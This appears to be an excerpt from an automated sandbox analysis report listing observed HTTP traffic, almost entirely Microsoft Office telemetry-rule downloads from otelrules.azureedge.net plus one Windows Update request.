Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=N9o2mW8ABLwWHod&MD=ycxe2skd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
